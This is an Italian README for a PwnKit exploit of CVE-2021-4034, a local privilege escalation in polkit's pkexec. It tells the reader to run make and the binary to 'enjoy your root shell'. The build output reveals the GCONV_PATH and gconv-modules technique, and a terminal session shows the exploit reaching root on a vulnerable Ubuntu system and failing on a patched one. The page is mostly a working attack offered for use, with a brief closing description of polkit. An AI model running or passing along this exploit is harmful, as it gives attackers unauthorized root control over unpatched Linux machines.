
# Exploit per CVE-2021-4034, una vulnerabilità di escalation dei privilegi in polkit pkexec, che fornisce una shell root sui sistemi Linux vulnerabili.
Basta eseguire make, ./cve-2021-4034 e godersi la propria shell di root.
Se l'exploit funziona, otterrai immediatamente una shell di root:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
L'aggiornamento di polkit sulla maggior parte dei sistemi correggerà l'exploit, quindi otterrai l'utilizzo e il programma terminerà:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit (precedentemente PolicyKit) è un componente per il controllo dei privilegi a livello di sistema nei sistemi operativi simili a Unix. Fornisce un modo organizzato per consentire ai processi non privilegiati di comunicare con processi privilegiati. È inoltre possibile utilizzare polkit per eseguire comandi con privilegi elevati tramite il comando pkexec seguito dal comando che si intende eseguire (con permessi di root).